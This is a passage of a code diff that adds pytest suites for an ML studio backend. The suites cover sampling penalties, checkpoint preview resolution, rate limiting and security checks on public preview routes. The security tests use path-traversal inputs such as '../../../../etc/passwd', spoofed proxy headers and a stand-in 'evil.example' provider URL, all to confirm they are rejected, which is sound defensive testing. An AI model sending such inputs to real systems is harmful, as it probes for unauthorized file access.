+    assert out[1, 2].item() == pytest.approx(-1.0)
+    assert out[1, 1].item() == pytest.approx(0.0)
+
+
+def test_zero_penalty_is_noop():
+    input_ids = torch.tensor([[0, 1, 2]])
+    scores = torch.randn(1, 5)
+    original = scores.clone()
+    out = apply_presence_penalty(input_ids, scores, penalty = 0.0, prompt_len = 1)
+    assert torch.equal(out, original)
+
+
+def test_empty_completion_is_noop():
+    # prompt_len covers the whole sequence -> nothing generated yet.
+    input_ids = torch.tensor([[0, 1, 2]])
+    scores = torch.randn(1, 5)
+    original = scores.clone()
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.5, prompt_len = 3)
+    assert torch.equal(out, original)
+
+
+def test_out_of_vocab_id_ignored():
+    # A generated id >= vocab_size (defensive) must not index out of bounds.
+    input_ids = torch.tensor([[0, 9]])
+    scores = torch.zeros(1, 5)  # vocab 5, token 9 is out of range
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1)
+    assert torch.equal(out, torch.zeros(1, 5))
+
+
+def test_negative_generated_id_ignored():
+    # A negative generated id (defensive) must be dropped, not wrap to scores[-1].
+    input_ids = torch.tensor([[0, -1]])
+    scores = torch.zeros(1, 5)
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1)
+    # Nothing penalized; in particular the last row (the numpy/torch wrap target
+    # for id -1) is untouched.
+    assert torch.equal(out, torch.zeros(1, 5))
+
+
+def test_mixed_oob_negative_and_valid_ids_only_in_range_penalized():
+    # Completion mixes a valid id (1), an out-of-vocab id (9 >= vocab 5) and a
+    # negative id (-1). Only the in-range distinct id is penalized; OOB/negative
+    # ids are ignored with no crash and no wrong-index wrap. This fails under the
+    # old ``seen[seen < vocab_size]`` filter (id -1 wraps to the last row) and
+    # passes only with the both-ends bound.
+    input_ids = torch.tensor([[0, 1, 9, -1, 1]])  # prompt [0], completion [1, 9, -1, 1]
+    scores = torch.zeros(1, 5)
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1)
+    expected = torch.zeros(1, 5)
+    expected[0, 1] = -1.0  # once per distinct in-range id (multiplicity ignored)
+    assert torch.equal(out, expected)
+    assert out[0, 4].item() == pytest.approx(0.0)  # id -1 did not wrap to the last row
+
+
+def test_dtype_and_device_preserved():
+    input_ids = torch.tensor([[0, 1]])
+    scores = torch.zeros(1, 4, dtype = torch.float16)
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1)
+    assert out.dtype == torch.float16
+    assert out.device == scores.device
+
+
+def test_processor_none_when_zero():
+    assert _make_presence_penalty_processor(0.0, prompt_len = 0) is None
+
+
+def test_processor_applies_penalty():
+    proc = _make_presence_penalty_processor(1.5, prompt_len = 2)
+    assert proc is not None
+    input_ids = torch.tensor([[0, 1, 3]])
+    scores = torch.zeros(1, 5)
+    out = proc(input_ids, scores)
+    assert out[0, 3].item() == pytest.approx(-1.5)
+
+
+def test_processor_composes_with_other_processors():
+    # LogitsProcessorList must run our processor alongside a pre-existing one.
+    from transformers import LogitsProcessor, LogitsProcessorList
+
+    class _AddToTokenZero(LogitsProcessor):
+        def __call__(self, input_ids, scores):
+            scores[:, 0] = scores[:, 0] + 100.0
+            return scores
+
+    presence = _make_presence_penalty_processor(1.0, prompt_len = 1)
+    combined = LogitsProcessorList([_AddToTokenZero(), *presence])
+    input_ids = torch.tensor([[5, 2]])  # completion = [2]
+    scores = torch.zeros(1, 6)
+    out = combined(input_ids, scores)
+    assert out[0, 0].item() == pytest.approx(100.0)  # other processor ran
+    assert out[0, 2].item() == pytest.approx(-1.0)  # presence ran
+
+
+def test_mlx_presence_penalty_callable():
+    mx = pytest.importorskip("mlx.core", reason = "MLX only ships on arm64 macOS")
+    from core.inference.mlx_inference import _make_mlx_presence_penalty_processor
+
+    proc = _make_mlx_presence_penalty_processor(1.5)
+    # First call = prompt only (latches prompt_len, penalizes nothing).
+    prompt = mx.array([10, 11])
+    logits0 = mx.zeros((1, 20))
+    out0 = proc(prompt, logits0)
+    assert float(out0[0, 10]) == pytest.approx(0.0)
+    # Second call: one completion token (5) appended -> penalized once.
+    seq = mx.array([10, 11, 5])
+    logits1 = mx.zeros((1, 20))
+    out1 = proc(seq, logits1)
+    assert float(out1[0, 5]) == pytest.approx(-1.5)
+    assert float(out1[0, 10]) == pytest.approx(0.0)  # prompt token untouched
+
+
+def test_mlx_presence_penalty_bounds_out_of_range_ids():
+    # Documents (and, on Apple Silicon CI, enforces) the intended MLX bound:
+    # out-of-vocab and negative completion ids must be ignored. MLX does no
+    # bounds checking and OOB indexing is undefined behavior (crash / memory
+    # corruption), so the processor routes stray ids to a discarded scratch slot
+    # and penalizes only in-range distinct ids -- matching the torch filter
+    # seen[(seen >= 0) & (seen < vocab)]. Skips off arm64 macOS where MLX is absent.
+    mx = pytest.importorskip("mlx.core", reason = "MLX only ships on arm64 macOS")
+    from core.inference.mlx_inference import _make_mlx_presence_penalty_processor
+
+    proc = _make_mlx_presence_penalty_processor(1.0)
+    proc(mx.array([10, 11]), mx.zeros((1, 8)))  # first call latches prompt_len = 2
+    # Completion appends a valid id (3), an out-of-vocab id (99 >= vocab 8) and a
+    # negative id (-1); only the in-range id is penalized and nothing crashes.
+    seq = mx.array([10, 11, 3, 99, -1])
+    out = proc(seq, mx.zeros((1, 8)))
+    assert float(out[0, 3]) == pytest.approx(-1.0)
+    for tok in range(8):
+        if tok != 3:
+            assert float(out[0, tok]) == pytest.approx(0.0)
+
+
+# Param propagation: route payload -> orchestrator cmd -> worker gen_kwargs
+_SAMPLING = {
+    "temperature": 0.7,
+    "top_p": 0.8,
+    "top_k": 20,
+    "min_p": 0.05,
+    "repetition_penalty": 1.1,
+    "presence_penalty": 1.5,
+}
+
+
+def test_orchestrator_cmd_carries_all_sampling_params():
+    from core.inference.orchestrator import InferenceOrchestrator
+
+    o = InferenceOrchestrator.__new__(InferenceOrchestrator)
+    cmd = o._build_generate_cmd(
+        "req1",
+        None,
+        messages = [{"role": "user", "content": "hi"}],
+        max_new_tokens = 128,
+        **_SAMPLING,
+    )
+    for key, val in _SAMPLING.items():
+        assert cmd[key] == val, f"{key} dropped/altered in orchestrator cmd"
+
+
+def test_worker_forwards_all_sampling_params_to_backend():
+    from core.inference.worker import _handle_generate
+
+    class _RecordingBackend:
+        last_generation_stats = None
+
+        def __init__(self):
+            self.received = None
+
+        def generate_chat_response(self, **kwargs):
+            self.received = kwargs
+            return iter(())  # empty stream -> loop exits, gen_done is sent
+
+    class _FakeQueue:
+        def __init__(self):
+            self.items = []
+
+        def put(self, item):
+            self.items.append(item)
+
+    cmd = {
+        "type": "generate",
+        "request_id": "r",
+        "messages": [{"role": "user", "content": "hi"}],
+        "max_new_tokens": 128,
+        **_SAMPLING,
+    }
+    backend = _RecordingBackend()
+    _handle_generate(backend, cmd, _FakeQueue(), threading.Event())
+
+    assert backend.received is not None
+    for key, val in _SAMPLING.items():
+        assert backend.received[key] == val, f"{key} dropped/altered in worker gen_kwargs"
diff --git a/studio/backend/tests/test_preview.py b/studio/backend/tests/test_preview.py
new file mode 100644
index 0000000000..e131f99951
--- /dev/null
+++ b/studio/backend/tests/test_preview.py
@@ -0,0 +1,134 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import json
+from pathlib import Path
+import sys
+import types as _types
+
+import pytest
+
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+from utils.models.checkpoints import (
+    list_preview_targets,
+    preview_ref,
+    resolve_preview_checkpoint,
+)
+
+
+def _make_run(outputs: Path) -> tuple[Path, Path]:
+    run = outputs / "unsloth_SmolLM-135M_1775412608"
+    run.mkdir(parents = True)
+    (run / "adapter_config.json").write_text(
+        json.dumps({"base_model_name_or_path": "HuggingFaceTB/SmolLM-135M"})
+    )
+    ckpt = run / "checkpoint-60"
+    ckpt.mkdir()
+    (ckpt / "adapter_config.json").write_text(
+        json.dumps({"base_model_name_or_path": "HuggingFaceTB/SmolLM-135M"})
+    )
+    return run, ckpt
+
+
+def _point_outputs_root_at(monkeypatch, outputs: Path) -> None:
+    from utils.paths import storage_roots as _sr
+    from utils.models import checkpoints as _ckpt
+
+    monkeypatch.setattr(_sr, "outputs_root", lambda: outputs)
+    # checkpoints imported outputs_root by name; patch that alias too (preview_ref uses it).
+    monkeypatch.setattr(_ckpt, "outputs_root", lambda: outputs)
+
+
+def test_resolve_main_adapter_and_checkpoint(tmp_path: Path, monkeypatch):
+    outputs = tmp_path / "outputs"
+    run, ckpt = _make_run(outputs)
+    _point_outputs_root_at(monkeypatch, outputs)
+
+    assert resolve_preview_checkpoint(run.name) == run
+    assert resolve_preview_checkpoint(run.name, "checkpoint-60") == ckpt
+
+
+def test_resolve_missing_raises_not_found(tmp_path: Path, monkeypatch):
+    outputs = tmp_path / "outputs"
+    _make_run(outputs)
+    _point_outputs_root_at(monkeypatch, outputs)
+
+    with pytest.raises(FileNotFoundError):
+        resolve_preview_checkpoint("does-not-exist")
+    (outputs / "empty").mkdir()
+    with pytest.raises(FileNotFoundError):
+        resolve_preview_checkpoint("empty")
+
+
+def test_resolve_rejects_traversal(tmp_path: Path, monkeypatch):
+    outputs = tmp_path / "outputs"
+    _make_run(outputs)
+    _point_outputs_root_at(monkeypatch, outputs)
+
+    with pytest.raises(ValueError):
+        resolve_preview_checkpoint("..", "etc")
+
+
+def test_list_preview_targets_flattens_with_latest_flag(tmp_path: Path, monkeypatch):
+    outputs = tmp_path / "outputs"
+    run, _ = _make_run(outputs)
+    _point_outputs_root_at(monkeypatch, outputs)
+
+    targets = list_preview_targets(str(outputs))
+    by_ref = {t["ref"]: t for t in targets}
+
+    assert by_ref[run.name]["is_latest"] is True
+    assert by_ref[run.name]["checkpoint"] is None
+    assert by_ref[f"{run.name}/checkpoint-60"]["is_latest"] is False
+    assert by_ref[f"{run.name}/checkpoint-60"]["checkpoint"] == "checkpoint-60"
+    assert all(t["base_model"] == "HuggingFaceTB/SmolLM-135M" for t in targets)
+
+
+def test_preview_ref_flat_run_is_basename(tmp_path: Path, monkeypatch):
+    outputs = tmp_path / "outputs"
+    run, _ = _make_run(outputs)
+    _point_outputs_root_at(monkeypatch, outputs)
+
+    assert preview_ref(str(run)) == run.name
+
+
+def test_preview_ref_preserves_one_level_nesting(tmp_path: Path, monkeypatch):
+    outputs = tmp_path / "outputs"
+    _point_outputs_root_at(monkeypatch, outputs)
+    nested = outputs / "experiments" / "run1"
+    nested.mkdir(parents = True)
+    (nested / "adapter_config.json").write_text("{}")
+
+    # /p route supports run/checkpoint, so a single level of nesting survives.
+    assert preview_ref(str(nested)) == "experiments/run1"
+
+
+def test_preview_ref_none_for_unpreviewable_or_too_deep(tmp_path: Path, monkeypatch):
+    outputs = tmp_path / "outputs"
+    _point_outputs_root_at(monkeypatch, outputs)
+
+    # Missing / no model artifact -> not previewable.
+    assert preview_ref(None) is None
+    empty = outputs / "empty"
+    empty.mkdir(parents = True)
+    assert preview_ref(str(empty)) is None
+
+    # Too deep for the two-segment /p route -> no dead link.
+    deep = outputs / "a" / "b" / "run"
+    deep.mkdir(parents = True)
+    (deep / "adapter_config.json").write_text("{}")
+    assert preview_ref(str(deep)) is None
+
+    # Outside outputs_root -> None.
+    outside = tmp_path / "elsewhere"
+    outside.mkdir()
+    (outside / "adapter_config.json").write_text("{}")
+    assert preview_ref(str(outside)) is None
diff --git a/studio/backend/tests/test_preview_followups.py b/studio/backend/tests/test_preview_followups.py
new file mode 100644
index 0000000000..9981e1dabf
--- /dev/null
+++ b/studio/backend/tests/test_preview_followups.py
@@ -0,0 +1,143 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Unit coverage for the preview follow-ups: rate limiter, client IP, kill switch."""
+
+from pathlib import Path
+import sys
+import types as _types
+
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+import utils.preview_rate_limit as rl
+from utils.client_ip import client_ip
+from utils.preview_sharing_settings import (
+    DEFAULT_PREVIEW_SHARING_ENABLED,
+    _coerce_bool,
+    get_preview_sharing_enabled,
+)
+
+
+# ── Rate limiter ─────────────────────────────────────────────────────────────
+
+
+def test_rate_limit_per_key(monkeypatch):
+    monkeypatch.setattr(rl, "_MAX_REQUESTS", 3)
+    rl.reset()
+    assert rl.check_rate_limit("ip1") == 0
+    assert rl.check_rate_limit("ip1") == 0
+    assert rl.check_rate_limit("ip1") == 0
+    # 4th request over the ceiling -> positive retry-after seconds.
+    assert rl.check_rate_limit("ip1") > 0
+    # A different client is unaffected.
+    assert rl.check_rate_limit("ip2") == 0
+
+
+def test_rate_limit_window_rolls_off(monkeypatch):
+    monkeypatch.setattr(rl, "_MAX_REQUESTS", 1)
+    monkeypatch.setattr(rl, "_WINDOW_SECONDS", 10.0)
+    rl.reset()
+    t = {"now": 1000.0}
+    monkeypatch.setattr(rl.time, "monotonic", lambda: t["now"])
+    assert rl.check_rate_limit("ip") == 0
+    assert rl.check_rate_limit("ip") > 0  # immediately over
+    t["now"] += 11.0  # window elapsed
+    assert rl.check_rate_limit("ip") == 0
+
+
+def test_rate_limit_eviction_does_not_reset_active_bucket(monkeypatch):
+    # A flood of distinct keys must not cycle the table and clear a live limit.
+    monkeypatch.setattr(rl, "_MAX_REQUESTS", 1)
+    monkeypatch.setattr(rl, "_MAX_BUCKETS", 2)
+    rl.reset()
+    assert rl.check_rate_limit("a") == 0
+    assert rl.check_rate_limit("a") > 0  # 'a' throttled (active)
+    assert rl.check_rate_limit("b") == 0
+    assert rl.check_rate_limit("b") > 0  # 'b' throttled; table now full of actives
+    # A new key can't evict an active bucket -> denied (fail closed)...
+    assert rl.check_rate_limit("c") > 0
+    # ...and the flood did not reset 'a'.
+    assert rl.check_rate_limit("a") > 0
+
+
+# ── Client IP ────────────────────────────────────────────────────────────────
+
+
+class _Req:
+    def __init__(
+        self,
+        host,
+        headers = None,
+    ):
+        self.client = _types.SimpleNamespace(host = host) if host else None
+        self.headers = headers or {}
+
+
+def test_client_ip_uses_socket_peer_by_default(monkeypatch):
+    monkeypatch.delenv("UNSLOTH_STUDIO_TRUST_FORWARDED", raising = False)
+    # Forwarded header is ignored unless the operator opts in.
+    req = _Req("203.0.113.9", {"x-forwarded-for": "198.51.100.7"})
+    assert client_ip(req) == "203.0.113.9"
+    assert client_ip(None) == "_unknown"
+
+
+def test_client_ip_uses_rightmost_forwarded_when_trusted(monkeypatch):
+    monkeypatch.setenv("UNSLOTH_STUDIO_TRUST_FORWARDED", "1")
+    # Leftmost is client-spoofable; the trusted proxy appends the real peer on the
+    # right, so the rightmost hop is the one we key on.
+    req = _Req("127.0.0.1", {"x-forwarded-for": "1.2.3.4, 198.51.100.7"})
+    assert client_ip(req) == "198.51.100.7"
+
+
+def test_client_ip_uses_cf_connecting_ip_on_loopback(monkeypatch):
+    # Managed Cloudflare tunnel terminates at loopback; key by the real visitor.
+    monkeypatch.delenv("UNSLOTH_STUDIO_TRUST_FORWARDED", raising = False)
+    req = _Req("127.0.0.1", {"cf-connecting-ip": "198.51.100.7"})
+    assert client_ip(req) == "198.51.100.7"
+
+
+def test_client_ip_ignores_cf_header_from_non_loopback(monkeypatch):
+    # A direct (non-loopback) caller can't spoof CF-Connecting-IP to skew the limit.
+    monkeypatch.delenv("UNSLOTH_STUDIO_TRUST_FORWARDED", raising = False)
+    req = _Req("203.0.113.9", {"cf-connecting-ip": "198.51.100.7"})
+    assert client_ip(req) == "203.0.113.9"
+
+
+def test_client_ip_loopback_without_cf_returns_peer(monkeypatch):
+    monkeypatch.delenv("UNSLOTH_STUDIO_TRUST_FORWARDED", raising = False)
+    assert client_ip(_Req("127.0.0.1")) == "127.0.0.1"
+
+
+# ── Kill-switch setting ──────────────────────────────────────────────────────
+
+
+def test_sharing_defaults_enabled_and_coerces():
+    assert DEFAULT_PREVIEW_SHARING_ENABLED is True
+    assert _coerce_bool("off") is False
+    assert _coerce_bool("on") is True
+    assert _coerce_bool(True) is True
+    assert _coerce_bool("nonsense") is None
+
+
+def test_sharing_missing_key_defaults_enabled(monkeypatch):
+    import storage.studio_db as sdb
+    monkeypatch.setattr(sdb, "get_app_setting", lambda key, fallback = None: None)
+    assert get_preview_sharing_enabled() is True
+
+
+def test_sharing_read_error_fails_closed(monkeypatch):
+    # A transient settings-DB failure must not reopen the public surface.
+    import storage.studio_db as sdb
+
+    def _boom(*args, **kwargs):
+        raise RuntimeError("settings db unavailable")
+
+    monkeypatch.setattr(sdb, "get_app_setting", _boom)
+    assert get_preview_sharing_enabled() is False
diff --git a/studio/backend/tests/test_preview_routes.py b/studio/backend/tests/test_preview_routes.py
new file mode 100644
index 0000000000..8fa3093d04
--- /dev/null
+++ b/studio/backend/tests/test_preview_routes.py
@@ -0,0 +1,496 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Security smoke for the public /p preview routes.
+
+Exercises the route layer with a real ``preview_router`` while stubbing the
+expensive model calls (``load_model`` / ``openai_chat_completions``). Covers the
+public-surface guarantees: HMAC capability gating (a valid ``?k=`` token or
+Bearer credential is required; missing/invalid/wrong-ref tokens 404 before any
+model load), path-traversal rejection, request sanitization (tools / provider
+routing / use_adapter / generation clamp), asset-path containment, the page CSP
++ no-referrer headers and HTML escaping, and that the preview lock is held until
+a streaming response is fully drained.
+"""
+
+import asyncio
+import json
+from pathlib import Path
+import sys
+import types as _types
+
+import pytest
+
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+# Mirror test_preview.py: the real `loggers` package pulls in heavy handlers.
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+from fastapi import FastAPI
+from fastapi.responses import StreamingResponse
+from fastapi.testclient import TestClient
+
+import routes.preview as preview
+import utils.preview_token as preview_token
+from models.inference import ChatCompletionRequest
+
+
+# A fixed secret keeps signing deterministic and avoids touching auth.db.
+_TEST_SECRET = b"unit-test-preview-secret-0123456789"
+
+
+def _use_test_secret(monkeypatch) -> None:
+    monkeypatch.setattr(preview_token, "get_or_create_preview_link_secret", lambda: _TEST_SECRET)
+
+
+def _sig(ref: str) -> str:
+    """Valid capability token for ``ref`` under the patched test secret."""
+    return preview_token.sign_preview_ref(ref)
+
+
+def _make_run(outputs: Path, name: str = "demorun") -> Path:
+    run = outputs / name
+    run.mkdir(parents = True)
+    (run / "adapter_config.json").write_text(
+        json.dumps({"base_model_name_or_path": "HuggingFaceTB/SmolLM-135M"})
+    )
+    ckpt = run / "checkpoint-1"
+    ckpt.mkdir()
+    (ckpt / "adapter_config.json").write_text("{}")
+    return run
+
+
+@pytest.fixture
+def captured():
+    return {}
+
+
+@pytest.fixture
+def client(tmp_path, monkeypatch, captured):
+    outputs = tmp_path / "outputs"
+    _make_run(outputs)
+
+    _use_test_secret(monkeypatch)
+
+    # Public sharing on by default; reset the per-IP rate buckets each test.
+    monkeypatch.setattr(preview, "get_preview_sharing_enabled", lambda: True)
+    import utils.preview_rate_limit as _rl
+
+    _rl.reset()
+
+    # resolve_preview_checkpoint -> resolve_output_dir -> outputs_root().
+    from utils.paths import storage_roots as _sr
+
+    monkeypatch.setattr(_sr, "outputs_root", lambda: outputs)
+
+    async def _fake_load_model(load_req, request, subject):
+        captured["load_path"] = load_req.model_path
+        return None
+
+    async def _fake_chat(payload, request, subject):
+        captured["payload"] = payload
+        return {"ok": True}
+
+    monkeypatch.setattr(preview, "load_model", _fake_load_model)
+    monkeypatch.setattr(preview, "openai_chat_completions", _fake_chat)
+
+    app = FastAPI()
+    app.include_router(preview.router, prefix = "/p")
+    app.dependency_overrides[preview.get_current_subject] = lambda: "admin"
+    # raise_server_exceptions=False so a 5xx surfaces as a response, not a throw.
+    return TestClient(app, raise_server_exceptions = False)
+
+
+# ── Page rendering ────────────────────────────────────────────────────────
+
+
+def test_page_renders_with_csp(client):
+    r = client.get(f"/p/demorun?k={_sig('demorun')}")
+    assert r.status_code == 200
+    assert "text/html" in r.headers["content-type"]
+    csp = r.headers.get("content-security-policy", "")
+    assert "default-src 'self'" in csp
+    assert "base-uri 'none'" in csp
+    # Token rides in the query string; keep it out of the Referer header.
+    assert r.headers.get("referrer-policy") == "no-referrer"
+
+
+def test_page_escapes_title(tmp_path, monkeypatch, captured):
+    outputs = tmp_path / "outputs"
+    # Run dir name carries an HTML-special char; the page must escape it.
+    _make_run(outputs, name = "a<b")
+    _use_test_secret(monkeypatch)
+    from utils.paths import storage_roots as _sr
+
+    monkeypatch.setattr(_sr, "outputs_root", lambda: outputs)
+
+    app = FastAPI()
+    app.include_router(preview.router, prefix = "/p")
+    c = TestClient(app, raise_server_exceptions = False)
+
+    # Sign the decoded canonical ref ("a<b"), not the %-encoded path segment.
+    r = c.get(f"/p/a%3Cb?k={_sig('a<b')}")
+    assert r.status_code == 200
+    assert "a<b" not in r.text
+    assert "a&lt;b" in r.text
+
+
+def test_models_endpoint_shape(client):
+    r = client.get(f"/p/demorun/v1/models?k={_sig('demorun')}")
+    assert r.status_code == 200
+    body = r.json()
+    assert body["object"] == "list"
+    assert body["data"][0]["id"] == "demorun"
+    assert body["data"][0]["owned_by"] == "unsloth-studio"
+
+
+def test_list_previews_builds_urls(client, monkeypatch):
+    monkeypatch.setattr(
+        preview,
+        "list_preview_targets",
+        lambda: [{"ref": "demorun", "is_latest": True}],
+    )
+    r = client.get("/p")
+    assert r.status_code == 200
+    data = r.json()["data"]
+    assert data[0]["url"].endswith("/p/demorun/v1")
+    # The listing hands the authenticated owner a usable capability.
+    assert data[0]["key"] == _sig("demorun")
+    assert data[0]["share_url"].endswith(f"/p/demorun?k={_sig('demorun')}")
+
+
+def test_list_previews_omits_capability_when_sharing_disabled(client, monkeypatch):
+    monkeypatch.setattr(
+        preview,
+        "list_preview_targets",
+        lambda: [{"ref": "demorun", "is_latest": True}],
+    )
+    monkeypatch.setattr(preview, "get_preview_sharing_enabled", lambda: False)
+    r = client.get("/p")
+    assert r.status_code == 200
+    body = r.json()
+    # Don't hand out credentials that 404; signal the disabled state instead.
+    assert body["sharing_enabled"] is False
+    assert body["data"][0]["key"] is None
+    assert body["data"][0]["share_url"] is None
+
+
+# ── Path traversal / containment ────────────────────────────────────────────
+
+
+@pytest.mark.parametrize(
+    "path",
+    [
+        "/p/..",  # parent segment as run
+        "/p/%2e%2e/etc",  # encoded traversal
+        "/p/..%2f..%2fetc/v1/models",  # encoded slash traversal
+        "/p/does-not-exist",  # unknown run
+    ],
+)
+def test_traversal_and_missing_rejected(client, path):
+    r = client.get(path)
+    assert r.status_code in (400, 404), (path, r.status_code)
+
+
+def test_chat_traversal_rejected(client):
+    r = client.post(
+        "/p/..%2f..%2fetc/v1/chat/completions",
+        json = {"messages": [{"role": "user", "content": "hi"}]},
+    )
+    assert r.status_code in (400, 404)
+
+
+# ── Asset containment ────────────────────────────────────────────────────────
+
+
+@pytest.mark.parametrize(
+    "asset",
+    [
+        "../../../../etc/passwd",  # escapes dist
+        "secrets.txt",  # non-allowlisted suffix
+        "nope.png",  # allowlisted suffix but missing
+    ],
+)
+def test_asset_path_contained(client, asset):
+    r = client.get(f"/p/_assets/{asset}")
+    assert r.status_code == 404
+
+
+# ── Request sanitization ─────────────────────────────────────────────────────
+
+
+def test_chat_payload_sanitized(client, captured):
+    r = client.post(
+        f"/p/demorun/v1/chat/completions?k={_sig('demorun')}",
+        json = {
+            "messages": [{"role": "user", "content": "hi"}],
+            "tools": [{"type": "function", "function": {"name": "rm", "parameters": {}}}],
+            "enable_tools": True,
+            "enabled_tools": ["python"],
+            "mcp_enabled": True,
+            "bypass_permissions": True,
+            "provider_id": "p1",
+            "provider_type": "custom",
+            "provider_base_url": "http://evil.example/v1",
+            "external_model": "gpt-4o",
+            "use_adapter": False,
+            "confirm_tool_calls": True,
+            "session_id": "abc",
+            "rag_scope": {"project_id": "x"},
+        },
+    )
+    assert r.status_code == 200
+    p = captured["payload"]
+    assert isinstance(p, ChatCompletionRequest)
+    # Tools / code-exec off.
+    assert p.tools is None
+    assert p.enable_tools is False
+    assert p.enabled_tools is None
+    assert p.mcp_enabled is False
+    assert p.bypass_permissions is False
+    # Tool-loop levers neutralized regardless of the tool gate.
+    assert p.confirm_tool_calls is False
+    assert p.session_id is None
+    assert p.rag_scope is None
+    # Provider routing stripped so /p can't proxy an arbitrary endpoint.
+    assert p.provider_id is None
+    assert p.provider_type is None
+    assert p.provider_base_url is None
+    assert p.external_model is None
+    # Adapter pinned on for LoRA: a caller can't flip the shared backend to base.
+    assert p.use_adapter is True
+    # Generation cost capped on this public surface (no override sent -> ceiling).
+    assert p.max_tokens == preview._PREVIEW_MAX_OUTPUT_TOKENS
+    assert p.max_completion_tokens == preview._PREVIEW_MAX_OUTPUT_TOKENS
+    assert p.n == 1
+    # Loads the resolved checkpoint dir, not an attacker-supplied path.
+    assert captured["load_path"].endswith("demorun")
+
+
+def test_merged_checkpoint_strips_use_adapter(tmp_path, monkeypatch, captured):
+    # Merged (non-LoRA) checkpoint: no adapter to toggle, so use_adapter -> None.
+    outputs = tmp_path / "outputs"
+    merged = outputs / "mergedrun"
+    merged.mkdir(parents = True)
+    (merged / "config.json").write_text(json.dumps({"_name_or_path": "some/base"}))
+
+    _use_test_secret(monkeypatch)
+    from utils.paths import storage_roots as _sr
+
+    monkeypatch.setattr(_sr, "outputs_root", lambda: outputs)
+
+    async def _fake_load(load_req, request, subject):
+        return None
+
+    async def _fake_chat(payload, request, subject):
+        captured["payload"] = payload
+        return {"ok": True}
+
+    monkeypatch.setattr(preview, "load_model", _fake_load)
+    monkeypatch.setattr(preview, "openai_chat_completions", _fake_chat)
+
+    app = FastAPI()
+    app.include_router(preview.router, prefix = "/p")
+    c = TestClient(app, raise_server_exceptions = False)
+    r = c.post(
+        f"/p/mergedrun/v1/chat/completions?k={_sig('mergedrun')}",
+        json = {"messages": [{"role": "user", "content": "hi"}], "use_adapter": False},
+    )
+    assert r.status_code == 200
+    assert captured["payload"].use_adapter is None
+
+
+# ── Streaming lock lifetime ──────────────────────────────────────────────────
+
+
+def test_streaming_holds_lock_until_drained(tmp_path, monkeypatch, captured):
+    outputs = tmp_path / "outputs"
+    _make_run(outputs)
+    from utils.paths import storage_roots as _sr
+
+    monkeypatch.setattr(_sr, "outputs_root", lambda: outputs)
+
+    async def _fake_load_model(load_req, request, subject):
+        return None
+
+    async def _gen():
+        yield b"data: {}\n\n"
+        yield b"data: [DONE]\n\n"
+
+    async def _fake_chat(payload, request, subject):
+        return StreamingResponse(_gen())
+
+    monkeypatch.setattr(preview, "load_model", _fake_load_model)
+    monkeypatch.setattr(preview, "openai_chat_completions", _fake_chat)
+
+    async def _run():
+        assert not preview._preview_lock.locked()
+        payload = ChatCompletionRequest(messages = [{"role": "user", "content": "hi"}])
+        resp = await preview._serve_chat("demorun", None, payload, request = None)
+        # Lock must still be held: a second checkpoint must not swap the backend
+        # mid-stream.
+        assert preview._preview_lock.locked()
+        chunks = [c async for c in resp.body_iterator]
+        # Released only after the stream fully drains.
+        assert not preview._preview_lock.locked()
+        return chunks
+
+    chunks = asyncio.run(_run())
+    assert any(b"[DONE]" in c for c in chunks)
+    assert not preview._preview_lock.locked()
+
+
+# ── Capability gating ────────────────────────────────────────────────────────
+
+
+def test_chat_without_token_404_and_no_load(client, captured):
+    r = client.post(
+        "/p/demorun/v1/chat/completions",
+        json = {"messages": [{"role": "user", "content": "hi"}]},
+    )
+    assert r.status_code == 404
+    # Verified before any model work: nothing loaded, nothing generated.
+    assert "load_path" not in captured
+    assert "payload" not in captured
+
+
+def test_chat_with_invalid_token_404(client, captured):
+    r = client.post(
+        "/p/demorun/v1/chat/completions?k=not-a-valid-token",
+        json = {"messages": [{"role": "user", "content": "hi"}]},
+    )
+    assert r.status_code == 404
+    assert "load_path" not in captured
+
+
+def test_token_for_other_ref_rejected(client, captured):
+    # A capability minted for a different ref must not unlock demorun.
+    r = client.post(
+        f"/p/demorun/v1/chat/completions?k={_sig('otherrun')}",
+        json = {"messages": [{"role": "user", "content": "hi"}]},
+    )
+    assert r.status_code == 404
+    assert "load_path" not in captured
+
+
+def test_models_without_token_404(client):
+    assert client.get("/p/demorun/v1/models").status_code == 404
+
+
+def test_page_without_token_404(client):
+    assert client.get("/p/demorun").status_code == 404
+
+
+def test_checkpoint_route_with_valid_sig(client, captured):
+    # Nested ref: the signed/verified/resolved canonical ref is "run/checkpoint".
+    sig = _sig("demorun/checkpoint-1")
+    r = client.post(
+        f"/p/demorun/checkpoint-1/v1/chat/completions?k={sig}",
+        json = {"messages": [{"role": "user", "content": "hi"}]},
+    )
+    assert r.status_code == 200
+    assert captured["load_path"].endswith("checkpoint-1")
+
+
+def test_checkpoint_token_does_not_unlock_bare_run(client, captured):
+    # A token minted for the nested checkpoint must not unlock the run ref.
+    r = client.post(
